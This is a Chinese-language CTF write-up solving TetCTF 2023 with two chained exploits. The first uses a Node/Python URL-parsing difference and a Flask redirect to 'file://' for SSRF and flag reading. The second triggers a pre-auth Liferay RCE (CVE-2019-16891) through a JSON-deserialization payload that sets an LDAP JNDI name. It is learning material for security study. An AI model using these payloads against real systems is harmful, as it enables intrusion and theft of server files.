TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)
这周末打了这个比赛挺不错的一个,但是主要还是写一下这题,其他题虽然也有难度但是并不值得我记录
正文
首先这题被拆分为了两个部分,觉得两部分都挺有意思的,就单独讲讲
part1主要是利用node与python的requests的差异性绕过host限制
part2主要是仅仅通过一个GET触发Liferay的RCE
关于题目备份也是放在了我的Git里:https://github.com/Y4tacker/CTFBackup/tree/main/2023/TetCTF
Part1
首先一眼看到这个路由
1
|
app.post('/api/getImage', isAdmin, validate, async (req, res, next) => {
|
这里面有个鉴权操作,要求密码是Th!sIsS3xreT0
但是长度不能大于12,很常规基础的考点了,通过数组就行?password[]=Th!sIsS3xreT0
12345678910 |
const isAdmin = (req, res, next) => { try { if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") { return res.send("You don't have permission") } next(); } catch (error) { return res.status(500).send("Oops, something went wrong."); }} |
接着来看看剩下的代码
123456789101112131415161718192021222324 |
app.post('/api/getImage', isAdmin, validate, async (req, res, next) => { try { const url = req.body.url.toString() let result = {} if (IsValidProtocol(url)) { const flag = isValidHost(url) if (flag) { console.log("[DEBUG]: " + url) let res = await downloadImage(url) result = res } else { result.status = false result.data = "Invalid host i.ibb.co" } } else { result.status = false result.data = "Invalid url" } res.json(result) } catch (error) { res.status(500).send(error.stack) }}) |
这里IsValidProtocol要求只能是http/https
,isValidHost要求host只能是i.ibb.co
这个图床网站(使用urlParse解析)
之后如果校验成功则会调用python去下载
1234567891011121314151617181920212223242526272829 |
f __name__ == '__main__': try: if (len(sys.argv) < 2): exit() url = sys.argv[1] headers = {'user-agent': 'PythonBot/0.0.1'} request = requests.session() request.mount('file://', LocalFileAdapter()) # check extentsion white_list_ext = ('.jpg', '.png', '.jpeg', '.gif') vaild_extension = url.endswith(white_list_ext) if (vaild_extension): # check content-type res = request.head(url, headers=headers, timeout=3) if ('image' in res.headers.get("Content-type") or 'image' in res.headers.get("content-type") or 'image' in res.headers.get("Content-Type")): r = request.get(url, headers=headers, timeout=3) print(base64.b64encode(r.content)) else: print(0) else: print(0) except Exception as e: # print e print(0) |
正常情况来说如果我们使用:http://[email protected]/1.png
node和python经过parse后访问的其实也都是http://i.ibb.co/1.png
那有没有什么办法让node和py行为相异,python的requests库是基于urllib实现的,这里我们看到去区分scheme, authority, path, query, fragment等部分是靠正则实现的
对应的正则
12345678 |
URI_RE = re.compile(r"^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?"r"(?://([^\\/?#]*))?" 靠这些符号决定authority部分边界r"([^?#]*)"r"(?:\?([^#]*))?"r"(?:#(.*))?$",re.UNICODE | re.DOTALL,) |
因此如果最终我们使用的url是
http://evil.com1232\@i.ibb.co/1.png
node部分则会正确解析出host为i.ibb.co
python部分由于遇到了\
字符其实是把后面整体当成了path,最终访问的url其实是
http://evil.com1232/\@i.ibb.co/1.png
如图测试
在这个基础上我们可以配合flask简单写个解析这个畸形路径的请求并重定向到指定位置即可完成ssrf
123456789101112131415 |
from flask import Flask,requestfrom urllib.parse import quoteimport requestsapp = Flask(__name__)def hello_world(): return "login fail", 302, [("Content-Type", "image"), ("Location", "file:///usr/src/app/fl4gg_tetCTF")] # return"23333"if __name__ == '__main__': app.run(host="0.0.0.0",port="1239",debug=False) |
Part2
第二部分是这个Liferay的一个前台RCE,看DockerFile可以看到这个版本
网上较多的是关于cve-2020-7961
的内容,也就是靠/api/jsonws/xxxx
去实现的RCE
然而这里有两个限制
第一个,从part1部分我们能得到一点,我们的SSRF只能触发一个GET请求
第二个,这里对路由做了些限制,也就是说我们的api相关路由都不能访问了咋办呢?
关于这个我在网上搜索发现出题人曾发了一个这个文章
https://vsrc.vng.com.vn/blog/liferay-revisited-a-tale-of-20k/
在文章最后提到了这点验证了我们的猜想,同时也知道了大概也是和json反序列化有关
之后的话又看到一篇文章
https://dappsec.substack.com/p/an-advisory-for-cve-2019-16891-from
这里像我们展示了一个新的路由
从struts-config.xml当中可以看到对应的全类名
1
|
<action path="/portal/portlet_url" type="com.liferay.portal.action.PortletURLAction" />
|
这个类在/liferay-portal-6.1.2-ce-ga3/tomcat-7.0.40/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/com/liferay/portal/action/PortletURLAction.class
下
从这里也可以看出是GET传参数也可以
再往下看,可以得知这里是可以触发liferay的json反序列化
这里我们挑重点来讲,最终反序列化会触发org.jabsorb.JSONSerializer#unmarshall
这里他会调用getSerializer
去选择一个能满足反序列化该javaCLass的类
首先遍历serializableMap看有没有该javaClass直接对应映射的处理,这个serializableMap当中有很多,但大多都是一些基础类型的类的处理
没有的话它会继续遍历serializerList看看有没有能处理该类的,也就是其canSerialize返回true
我们只需要关注两个即可,其他的也是一些基础类型之类的不需要过多关注
一个是com.liferay.portal.json.jabsorb.serializer.LiferaySerializer
12345678910 |
public boolean canSerialize(Class clazz, Class jsonClass) { Constructor constructor = null; try { constructor = clazz.getConstructor(); } catch (Exception var4) { } return Serializable.class.isAssignableFrom(clazz) && (jsonClass == null || jsonClass == JSONObject.class) && constructor != null; } |
其对应的unmarshall方法当中,我们可以很清楚的看到只是通过一些反射去对class对应字段赋值
另一个是org.jabsorb.serializer.impl.BeanSerializer
123 |
public boolean canSerialize(Class clazz, Class jsonClazz) { return !clazz.isArray() && !clazz.isPrimitive() && !clazz.isInterface() && (jsonClazz == null || jsonClazz == JSONObject.class); } |
其对应的unmarshall方法当中,则是调用对应的setter方法,这符合我们的要求
这两个类处理最大的区别就是javaClasss是否继承了Serializable接口,因此我们找恶意类条件就是不能继承Serializable接口,同时set方法有恶意操作,这种时候就去看fastjson和jackson的黑名单就可以了
比如jackson里面黑名单里的一个类刚好在我们liferay当中
同时其set方法有一个能直接触发jndi的
最终我们把这串代码放进之前的恶意flask触发重定向后,通过jndi攻击内网服务
1
|
http://admin-portal:80/c/portal/portlet_url?parameterMap={"javaClass":"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIName":"ldap://ip"}
|
- source:y4tacker
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论